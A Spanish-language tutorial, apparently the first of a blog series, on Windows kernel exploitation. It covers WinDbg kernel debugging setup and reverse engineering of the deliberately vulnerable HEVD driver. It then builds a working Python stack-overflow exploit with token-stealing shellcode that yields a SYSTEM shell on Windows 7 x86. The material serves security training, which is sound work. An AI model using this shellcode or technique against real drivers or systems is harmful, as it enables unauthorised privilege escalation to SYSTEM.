Esta publicación será la primera de un series donde te guiaré al mundo de Windows Kernel Explotación. Mi papa antes dicia, “no se nace aprendido”. Como todo en la vida hay que empezar por algún lado. El objetivo de esta series es comenzar en Windows 7 (x86) y terminar en Windows 11 (x64). Hoy vamos usar Windows 7 (x86) y Windows 10 (x64).

Para empezar, baja estos programas:

  • Programa de Virtualización: Esto puede ser cualquier desde VirtualBox a VMWare. Dejaré cual programa de virtualización usar en tus manos.
  • WinDbg: Esta aplicación nos servirá como instrumento para interactuar con el Kernel, es importante que lo bajes de el Windows Driver Kit y NO el WinDbg Preview para este serie.
  • HEVD: Para este series usaré HEVD v3.00 para demosrar las vulnerabilidades. Al escribir este series, es el versión mas nuevo. HEVD es un controlador (driver) programado para ser intencionalmente vulnerable.
  • OSRLOADER: Como HEVD is un controlador, necesitamos una forma de cargarlo en el sistema de operación. Para hacer esto usaremos la aplicación OSRLOADER.
  • Python: Al escribir esto, usé versión 3.11.5 sin embargo, cualquier versión debería estar bien.
  • Ghidra: Ghidra será nuestra herramienta para conducta ingeniería inversa (reverse engineering). Si tienes IDA Pro, estas bienvenido a usarlo :)
  • Sickle: Esta será la herramienta que utilizaremos para generar shellcode. Si estás leyendo esto en 2024, es probable que el nuevo versión no esta listo. Por esta razón, usa la última rama no la versión mas nueva (simplemente clona el repositorio).

Es importante saber, he estructurado estas guías para llevarte de Exploit Developer a Kernel Exploit Developer. Si nunca has escrito una cadena de ROP, o estas completamente perdido con protecciones de la memoria moderna. Te recomiendo que empezes con explotación de Userland.

Si no tienes dinero, te recomiendo lo siguiente:

  • Corelan Tutorials: Corelan fue una de mis inspiraciones para hacer estas publicaciones. Cuando comencé mi viaje por primera vez en Exploit Development yo leí tutoriales 1-11. Todo presentado en ellos sigue siendo relevante a haste día. No dejes que la falta de sistemas modernas te detenga, conceptos de Windows XP se aplica a Windows 11.
  • Modern Binary Exploitation: Este es un curso escrito por los creadores de RET2 publicada gratis. Con el permiso de los autores del curso, tambien publiqué mis notas en GitHub. Una vez más, esto es para sistemas más antiguos de Linux (x86), pero el conocimiento es transferible.

Si prefieres algo más moderno, y puedes, te recomiendo estos cursos:

  • Corelan Training: Corelan también ofrece cursos para systemas modernas. Así que si prefieres pagar, la clase de Expert Level Stack debería ser un comienzo sólido para explotación de Windows. Yo tomé su Heap Masterclass en 2019 y planeo tomarlo de nuevo.
  • RET2 Wargames: RET2 Wargames es un curso que tomé y completé en 2024. No puedo decir lo suficiente, este curso lo recomiendo. Además, una vez completé el curso, me comuniqué con los autores del curso y me permitieron publicar mis notas sobre su antiguo curso MBE. Si esto no es suficiente para apoyarlos, yo escribí en mi experiencia >aqi<

Que yo sepa, estos cursos son sólo en inglés. Sin embargo, sé que el lenguaje de programación es universal. Con eso, podemos comenzar!

Table of Contents

Trabajando con el Kernel y WinDbg

Al leer este tutorial, es importante que reconozcas dos definiciones. Primero, la computadora donde vamos a estar trabajando se llama la host computer o debugger machine. Mientras, la computadora que vamos a depurar, se llama la target computer o debugee machine. El sistema debugee machine, estará dentro de un programa de virtualización.

Preparando la Computadora Que Vamos a Atacar (Debugee)

Para empezar, encende el debugee machine y abre el “command prompt” con permisos de un administrador y ejecuta lo siguiente:

C:\Windows\system32>bcdedit /copy {current} /d "Kernel Debugging On"
The entry was successfully copied to {3709675a-4632-11ee-b00a-b3e46a698b2a}.

C:\Windows\system32>bcdedit /debug {3709675a-4632-11ee-b00a-b3e46a698b2a} on
The operation completed successfully.

Esto generará una entrada en la “boot table” que tiene la habilitada de depuración (debug). Nosotras podemos confirmar esto ejecutando bcdedit.

alt text

Después de crear la entrada (ahora tiene la habilidad de depurar o “debug”), abre la aplicación System Configuration. Una vez lo has abierto, ve a la pestaña de Boot. Clicia en la entrada recién agregada y clickia Advanced Options.... Después copia los ajustes como demuestro aqi (yo usé “COM2”). Es importante que el “baud rate” está sincronizado con el host computer que configuraremos para ser 115200.

alt text

Clickia OK, Apply, OK, después encender y apaga el sistema de virtualización (VM).

Configurando el Sistema de Virtualización

Apaga el VM, después ábre la configuración de el VM y agregar un “Serial Port”, una vez añadido, utilice la configuración presentada aquí:

alt text

La próxima vez que lo arranques, clicia la nueva entrada; sin embargo ahora podemos pasar al siguiente paso.

alt text

Configurar la “host” Computadora (Debugger)

Suponiendo que la target computer fue configurada correctamente, abre el WinDbg apropiado, en mi caso WinDbg (x64). Una vez abierto, clicia File y Kernel Debug....

alt text

Una vez lo as seleccionado, una ventana se va abrir, vete a la pestaña COM y escribir lo siguiente (cómo programaste tu configuración):

alt text

Luego presiona “OK”. Si no lo has hecho, arrancar la computadora que vas atacar y una vez que hayamos entrado a la nueva entrada que creamos antes, deberías ver lo siguiente:

alt text

Pon te orgulloso, as configurado tu primer “Kernel Debugger”! Ahora… como ejercicio, hazlo de nuevo en Windows 7.

Introducción a HEVD

Has aprendido como configurar “kernel debugging”, con eso, confirmar que as bajado HEVD, OSRLOADER, y Python a el target computer or debugee machine.

La primera ves que abres HEVD, vas a ejecutar OSRLOADER.exe, asegúrete ejecutarlo como administrador. Deberías ver lo siguiente:

alt text

Una vez ejecutado, clicia Browse y ve al HEVD conductor adecuado y abre lo.

alt text

En orden para asegurar que el conductor se va ejecutar cuando arrancamos la computadora, selecciona “Automatic” de la pestaña de la configuración “Service Start”. Deberías ver lo siguiente:

alt text

Volviendo a nuestro debugger, si pausas ejecución y listas los módulos cargados, deberías ver HEVD.

alt text

Lo siguiente que debemos hacer es arreglar los simbolos.

alt text

Toma nota del camino: C:\projects\hevd\build\driver\vulnerable\x86\HEVD\HEVD.pdb necesitaremos crear lo en el host computer, y copiar todos los documentos a el como demostrado aqi:

alt text

Después, enciende y apaga la máquina. Si todo salio bien, deberías ver lo siguiente:

alt text

Trabajando con Conductores de Sistemas

Conductores de sistemas o “Device Drivers” son objetos de el Kernel, lo que significa esto es que no podemos modificarlos directamente desde Userland. Para interactuar con los conductores, nosotros necesitamos un HANDLE para ellos. Para hacer esto, necesitamos usar un enlace simbólico como \\Driver y pasar lo a CreateFileA.

alt text

Una vez que hayamos obtenido un “handle”, podemos usar la función DeviceIoControl para obtener control sobre los aparatos a través de el entrada y salida (I/O) sobre el interfaz (IOCTL). Esta interfaz, puede mandar códigos de control a el aparato, cada código de control representa una operación para que el aparato lo pueda ejecutar. Por ejemplo, un código de control le puede preguntar el aparato que ejecutar una acción como borrando el disco.

alt text

Ate mirar dónde podemos encontrar la información necesaria para realizar estas llamadas dentro de HEVD.

Trabajando con HEVD, Ghidra y WinDbg

Si cargamos HEVD.sys adentro de ghidra nosotros podemos ver el entry point de el aparato en realidad comienza en DriverEntry(). Esta función es la primera rutina llamado cuando el aparato esta cargado y tiene la responsabilidad de inicializando el aparato.

alt text

Si entramos en esta función, todo se vuelve más claro.

alt text

Usemos WinDbg para ver esto, encienda y apague la máquina y pon un pausa en en el punto de entrada antes que el aparato este cargado. Deberías yegar al pausa.

alt text

Si continúas a desmontar desde aqi (u), eventualmente deberías ver una yamada a IoCreateSymbolicLink.

Esta función esta responsable de crear el enlace simbólico que nosotras podemos llamar de Userland.

alt text

Si imprimimos el primer argumento, podemos ver el nombre del enlace simbólico. En este caso va ser HackSysExtremeVulnerableDriver.

alt text

Nosotras podemos ignorar \\DosDevices este es un espacio especial de nombre que Windows usa para el aparato. Para interactuar con él vamos usar \\.\HackSysExtremeVulnerableDriver, usamos \\.\ porque esto es en el espacio “Win32 device namespace” o “raw devive namespace” que podemos usar desde userland. Aunque no necesitábamos pasar por esto, quería ver qué argumentos se pasarían a la función cuando creando un enlace simbólico.

Entonces, ¿cómo enviamos información a HEVD? Como mencioné anteriormente, vamos usar DeviceIoControl.

alt text

Lo principal en lo que queremos concentrarnos es el dwIoControlCode

Esto sera la operación que nosotros queremos el aprato que ejecute. Estos operacións o solicitudes son mandados al aparato por un I/O paquete también conocido como IRPs.

Mirando la descompilación en Ghidra en línea 31 miramos que param_1->MajorFunction[0xe] esta establecido con IrpDeviceIoCtlHandler. Por qué? Si miramos MSDN vemos la definición de estructura para este objeto en particular (__DRIVER_OBJECT).

alt text

A poner esto indica que IrpDeviceIoCtlHandler será la “función” que controla cómo interactuar con el aprato. Esto lo sabemos por el “IRP Major Function Code 0xE” (Mira esto como la función principal “main”):

alt text

Si abres IrpDeviceIoCtlHandler sobre Ghidra se nos presenta la descompilación de la función. Aquí vemos que HEVD usa un “switch” para manejar nuestro mensajes de I/O.

alt text

Con eso, tenemos todo lo que necesitamos para comenzar Exploit Development.

Explotación de un “Stack Overflow” (Windows 7 - x86)

Para facilitar las cosas, ¿por qué no empezar con una vulnerabilidad tradicional? Un “buffer overflow”. Para ser las cosas mas facil tambien vamos usar python. Sin embargo, tenga en cuenta que más adelante en esta serie vamos usar C y tal vez C++.

Identificando la Vulnerabilidad

Ya que tenemos símbolos ingeniería inversa será facil. Dentro IrpDeviceIoCtlHandler podemos ver el “stack overflow” puede ser activado a través de el codigo I/O 0x222003.

alt text

Si entramos a la función BufferOverflowStackIoctlHandler.

alt text

Hacemos una yamada a TriggerBufferOverflowStack.

alt text

Hagamos nuestro prueba de concepto (PoC) para ver que pasa cuando entramos en esta función.

import struct
import os
from ctypes import *

GENERIC_READ          = 0x80000000
GENERIC_WRITE         = 0x40000000
OPEN_EXISTING         = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080

NULL = None

def main():

  kernel32 = windll.kernel32
  hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
                               (GENERIC_READ | GENERIC_WRITE),
                               0x00,
                               NULL,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL)
  if (hHEVD == -1):
    print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
    exit(-1)

  buffer = "wetw0rk"

  print("[*] Calling control code 0x222003")
  kernel32.DeviceIoControl(hHEVD,
                           0x222003,
                           buffer,
                           len(buffer),
                           NULL,
                           0x00,
                           byref(c_ulong()),
                           NULL)

main()

Entendiendo BufferOverflowStackIoctlHandler

Establecer una pausa en BufferOverflowStackIoctlHandler.

alt text

Intentemos ver qué se pasa a esta función, podemos empesar bajando el “stack frame”.

alt text

Mirando BufferOverflowStackIoctlHandler dentro Ghidra nos dice que estos parámetros son de tipo _IRP y _IO_STACK_LOCATION (también vimos esto en el “stack frame” con WinDbg).

alt text

Sin embargo, en realidad sólo estamos usando param_2 de el tipo _IO_STACK_LOCATION.

Podemos encontrar la definición de esta estructura usando la documentación de MS, sin embargo es largo, entonces solo lo relevante para nosotros esta enseñado.

typedef struct _IO_STACK_LOCATION {
  UCHAR                  MajorFunction;
  UCHAR                  MinorFunction;
  UCHAR                  Flags;
  UCHAR                  Control;
  union {
...
    struct {
      ULONG                   OutputBufferLength;
      ULONG POINTER_ALIGNMENT InputBufferLength;
      ULONG POINTER_ALIGNMENT FsControlCode;
      PVOID                   Type3InputBuffer;
    } FileSystemControl;
...
  } Parameters;
  PDEVICE_OBJECT         DeviceObject;
  PFILE_OBJECT           FileObject;
  PIO_COMPLETION_ROUTINE CompletionRoutine;
  PVOID                  Context;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;

Si miramos esto en WinDbg, miramos que (param_2->Parameters).FileSystemControl.Type3InputBuffer es el puntero a nuestro porción de memoria (“buffer”).

alt text

Entonces, cuando entramos a TriggerBufferOverflowStack, podemos estar seguros de que nuestra información esta pasado como param_1.

Entendiendo TriggerBufferOverflowStack

Ahora que entendimos que param_1 de TriggerBufferOverflowStack contiene nuestra memoria, la explotación parece fácil

alt text

Simplemente tenemos que mandar mas de 2060 “bytes” y deberíamos tener curropción de la memoria! Agregar los cambios al PoC y mando lo!

import struct
import os
from ctypes import *

GENERIC_READ          = 0x80000000
GENERIC_WRITE         = 0x40000000
OPEN_EXISTING         = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080

NULL = None

def main():

  kernel32 = windll.kernel32
  hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
                               (GENERIC_READ | GENERIC_WRITE),
                               0x00,
                               NULL,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL)
  if (hHEVD == -1):
    print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
    exit(-1)

  buffer = b"A" * 3000

  print("[*] Calling control code 0x222003")
  kernel32.DeviceIoControl(hHEVD,
                           0x222003,
                           buffer,
                           len(buffer),
                           NULL,
                           0x00,
                           byref(c_ulong()),
                           NULL)

main()

Una vez enviado, podemos ver que hemos sobrescrito una dirección que utiliza la computadora para regresar y hemos ganado control sobre el puntero de instrucción (EIP).

alt text

Kernel Shellcode??

Entonces tenemos control sobre el puntero de las instrucciones, y tenemos un conocimiento sólido de cómo. Una pregunta falta, ¿cómo podemos manipular código para ejecutar? Es mas, cómo podemos crear un “shell” de “SYSTEM”?

Vamos a necesitar shellcode, sin embargo, no podemos usar cualquier shellcode. Como estamos corriendo bajo el contexto de el Kernel, un paso equivocado resulta en una pantalla de muerte azul (BSOD). Para alcanzar nuestro objetivo, utilizaremos una técnica conocida como Token Stealing. Usando esta técnica, copiaremos un token con privilegios a nuestro proceso.

Por suerte para nosotros, HEVD viene con copias de Payloads incluyendo este. Echemos una mirada a Payloads.c dentro del repositro.

186 VOID TokenStealingPayloadWin7Generic() {
187     // No Need of Kernel Recovery as we are not corrupting anything
188     __asm {
189         pushad                               ; Save registers state
190         
191         ; Start of Token Stealing Stub       
192         xor eax, eax                         ; Set ZERO
193         mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
194                                              ; _KTHREAD is located at FS:[0x124]
195         
196         mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process
197         
198         mov ecx, eax                         ; Copy current process _EPROCESS structure
199         
200         mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4
201         
202         SearchSystemPID:
203             mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
204             sub eax, FLINK_OFFSET
205             cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
206             jne SearchSystemPID
207         
208         mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
209         mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
210                                              ; with SYSTEM process nt!_EPROCESS.Token
211         ; End of Token Stealing Stub
212         
213         popad                                ; Restore registers state
214     }
215 }

Vamos a dividir esto línea por línea. En línea 192 borramos el registro EAX. Después, en línea 193 usamos el registro FS para obtener la dirección del “current thread” ubicado desde la distancia 0x124. Podemos ver esto con WinDbg:

alt text

Vamos a mapear la estructura, primero necesitamos la dirección del el PCR (Processor Control Region), también conocido como el _KPCR desde allí podemos fácilmente iterar sobre la estructura y encontrar el “current thread”.

alt text

Después, necesitamos encontrar la dirección de la estructura _EPROCESS (“Executive Process”).

Cada proceso en ejecución en un los systemas de Windows esta asociado con un estructura de EPROCESS. Podemos hacer esto tal como hicimos el _KCPR.

alt text

Ahora veamos el siguiente bloque de código dentro de este “payload” (aqi siéntete libre de nomas leer porque en este punto comencé a escribir el código para Sickle):

         SearchSystemPID:
             mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
             sub eax, FLINK_OFFSET
             cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
             jne SearchSystemPID

Aquí estamos extractado el puntero al forward link (FLINK) pointer desde el *_EPROCESS" corriente, luego restando la distancia al FLINK desde EAX para cambiar EAX para señalar el siguiente estructura _EPROCESS dentro del lista enlazada. Luego comparamos la identificación del proceso de la estructura _EPROCESS a 0x04 y si no se encuentra seguimos buscando hasta que encontramos el proceso de “SYSTEM”.

Una vez que encontramos el proceso, simplemente reemplazamos nuestro token del proceso “SYSTEM”. Esto es casi como un cazador de huevos (“egghunter”) pero para los tokens.

         mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
         mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                              ; with SYSTEM process nt!_EPROCESS.Token

El código se puede ver aqi:

[BITS 32      ]
[SECTION .text]

global _start

_start:

        pushad
        xor eax, eax                      ; set ZERO
        mov eax, dword fs:[eax+0x124]     ; nt!_KPCR.PcrbData.CurrentThread
        mov eax, [eax + 0x50]             ; nt!_KTHREAD.ApcState.Process
        mov ecx, eax                      ; Copy current process _EPROCESS structure
        mov edx, 0x04                     ; WIN 10 SYSTEM PROCESS PID

        SearchSystemPID:
                mov eax, [eax + 0xb8]         ; nt!_EPROCESS.ActiveProcessLinks.Flink
                sub eax, 0xb8
                cmp [eax + 0xb4], edx         ; nt!_EPROCESS.UniqueProcessId
                jne SearchSystemPID

        mov edx, [eax + 0xf8]             ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + 0xf8], edx             ; Replace target process nt!_EPROCESS.Token
        popad

Veamos esto en el depurador (debugger), puedes generarlo usando Sickle.

$ python3 sickle.py -p windows/x86/kernel_token_stealer -f python3 -v shellcode
# Bytecode generated by Sickle, size: 52 bytes
shellcode = bytearray()
shellcode += b'\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89'
shellcode += b'\xc1\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8'
shellcode += b'\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8'
shellcode += b'\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x61'

Realizar los cambios en el PoC como se demuestra aqi:

import struct
import os
from ctypes import *

GENERIC_READ           = 0x80000000
GENERIC_WRITE          = 0x40000000
OPEN_EXISTING          = 0x00000003
FILE_ATTRIBUTE_NORMAL  = 0x00000080
MEM_COMMIT             = 0x00001000
MEM_RESERVE            = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040

NULL = None

def main():

  kernel32 = windll.kernel32
  hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
                               (GENERIC_READ | GENERIC_WRITE),
                               0x00,
                               NULL,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL)
  if (hHEVD == -1):
    print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
    exit(-1)

  # python3 sickle.py -p windows/x86/kernel_token_stealer -f python3 -v shellcode
  # Bytecode generated by Sickle, size: 52 bytes
  shellcode = bytearray()
  shellcode += b'\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1'
  shellcode += b'\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00'
  shellcode += b'\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00'
  shellcode += b'\x89\x91\xf8\x00\x00\x00\x61'

  print("[*] Allocating RWX memory")
  ptrMemory = kernel32.VirtualAlloc(NULL,
                                    len(shellcode),
                                    (MEM_COMMIT | MEM_RESERVE),
                                    PAGE_EXECUTE_READWRITE)

  print("[*] Creating a char array to house shellcode")
  buffer = (c_char * len(shellcode)).from_buffer(shellcode)

  print("[*] Copying shellcode array into RWX memory")
  kernel32.RtlMoveMemory(c_int(ptrMemory), buffer, len(shellcode))

  ptrShellcode = struct.pack("<L", ptrMemory)

  buffer  = b"A" * 2080
  buffer += ptrShellcode

  print("[*] Calling control code 0x222003")
  kernel32.DeviceIoControl(hHEVD,
                           0x222003,
                           buffer,
                           len(buffer),
                           NULL,
                           0x00,
                           byref(c_ulong()),
                           NULL)

  os.system("cmd.exe")

main()

Como vamos a sobrescribir una dirección de regreso, hacer una pausa en BASE+DISTANCIA. Podemos obtener esto con Ghidra.

alt text

Aplicar esto a WinDbg.

alt text

Con una pausa configurada, inicie el exploit a el “target machine”.

Una vez que llegues a la pausa, podemos ver que estamos a punto de regresar a la región de memoria y ejecutar nuestro código / shellcode (52 “bytes”).

alt text

Entremos en esto (t) hasta que la veamos mov edx, 0x04. Aqi ECX y EAX debe contener direcciones a _EPROCESS.

alt text

La siguiente instrucción mueve el FLINK a dentro de EAX.

alt text

Una vez ejecutado, sub eax, 0xb8 se ejecuta (como estamos atravesando procesos activos).

Esto efectivamente posiciona EAX a el comienzo de la proxima estructura _EPROCESS.

alt text

Establezcamos un punto de interrupción aqi y ate continuar la ejecución hasta el proceso _EPROCESS.UniqueProcessId es 0x04. Una vez encontrado podemos ver que el salto no se ejecutará!

alt text

Ahora el código simplemente copia el token en nuestra estructura _EPROCESS! Parece que estaba equivocada en el último par de notas esto se puede encontrar en el proceso de propiedad.

alt text

Entonces la realidad es que no tenemos que mirar demasiado lejos una vez que tenemos el “current thread…” Estaba confundido pero ahora tiene sentido. Puedes ver esto aqi:

alt text

Ahora podemos continuar ejecutando nuestro shellcode, pero nos estrellamos, ¿por qué?

alt text

Arreglando el Choque

Mirando el estado de los registros aparece que EBP todavía está corrupto. Sin embargo, lo más importante es que nunca regresaremos. Agreguemos una instrucción “ret” a el shellcode y poner una dirección válida sobre EBP y intentar otra vez.

┌──(wetw0rk㉿kali)-[/opt/Sickle/src]
└─$ python3 sickle.py -a x86 -m asm_shell -f c                                            
[*] ASM Shell loaded for x86 architecture

sickle > a pop ebp
"\x5d" // pop ebp
sickle > a ret
"\xc3" // ret

Una vez que cambiamos el PoC y lo enviamos, todavía chocamos. Así que decidí mirar Ghidra, y puedes ver que la instrucción “ret” en realidad es RET 0x8. Vamos intentar de nuevo…

alt text

El código final se puede ver aqi:

import struct
import os
from ctypes import *

GENERIC_READ           = 0x80000000
GENERIC_WRITE          = 0x40000000
OPEN_EXISTING          = 0x00000003
FILE_ATTRIBUTE_NORMAL  = 0x00000080
MEM_COMMIT             = 0x00001000
MEM_RESERVE            = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040

NULL = None

def main():

  kernel32 = windll.kernel32
  hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
                               (GENERIC_READ | GENERIC_WRITE),
                               0x00,
                               NULL,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL)
  if (hHEVD == -1):
    print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
    exit(-1)

  shellcode = bytearray()

  # python3 sickle.py -a x86 -v shellcode -p windows/x86/kernel_token_stealer -f python3 -m pinpoint
  shellcode += b'\x60'                         # pushal 
  shellcode += b'\x31\xc0'                     # xor eax, eax
  shellcode += b'\x64\x8b\x80\x24\x01\x00\x00' # mov eax, dword ptr fs:[eax + 0x124]
  shellcode += b'\x8b\x40\x50'                 # mov eax, dword ptr [eax + 0x50]
  shellcode += b'\x89\xc1'                     # mov ecx, eax
  shellcode += b'\xba\x04\x00\x00\x00'         # mov edx, 4
  shellcode += b'\x8b\x80\xb8\x00\x00\x00'     # mov eax, dword ptr [eax + 0xb8]
  shellcode += b'\x2d\xb8\x00\x00\x00'         # sub eax, 0xb8
  shellcode += b'\x39\x90\xb4\x00\x00\x00'     # cmp dword ptr [eax + 0xb4], edx
  shellcode += b'\x75\xed'                     # jne 0x1014
  shellcode += b'\x8b\x90\xf8\x00\x00\x00'     # mov edx, dword ptr [eax + 0xf8]
  shellcode += b'\x89\x91\xf8\x00\x00\x00'     # mov dword ptr [ecx + 0xf8], edx
  shellcode += b'\x61'                         # popal

  shellcode += b'\x5D'                         # pop ebp
  shellcode += b'\xC2\x08\x00'                 # ret 0x8

  print("[*] Allocating RWX memory")
  ptrMemory = kernel32.VirtualAlloc(NULL,
                                    len(shellcode),
                                    (MEM_COMMIT | MEM_RESERVE),
                                    PAGE_EXECUTE_READWRITE)

  print("[*] Creating a char array to house shellcode")
  buffer = (c_char * len(shellcode)).from_buffer(shellcode)

  print("[*] Copying shellcode array into RWX memory")
  kernel32.RtlMoveMemory(c_int(ptrMemory), buffer, len(shellcode))

  ptrShellcode = struct.pack("<L", ptrMemory)

  buffer  = b"A" * 2080
  buffer += ptrShellcode

  print("[*] Calling control code 0x222003\n")
  kernel32.DeviceIoControl(hHEVD,
                           0x222003,
                           buffer,
                           len(buffer),
                           NULL,
                           0x00,
                           byref(c_ulong()),
                           NULL)

  os.system("cmd.exe")

main()

Una vez que lo enviemos, somos “SYSTEM”!

alt text

Recursos

https://www.welivesecurity.com/2017/03/27/configure-windbg-kernel-debugging/
https://microsoft.public.windbg.narkive.com/MamhR9YH/win7-and-kpcr
https://github.com/LordNoteworthy/windows-internals/blob/master/IRP%20Major%20Functions%20List.md
https://youtu.be/Ca3dAXDdoz8?si=oN_DsgyLz-Z4fVYL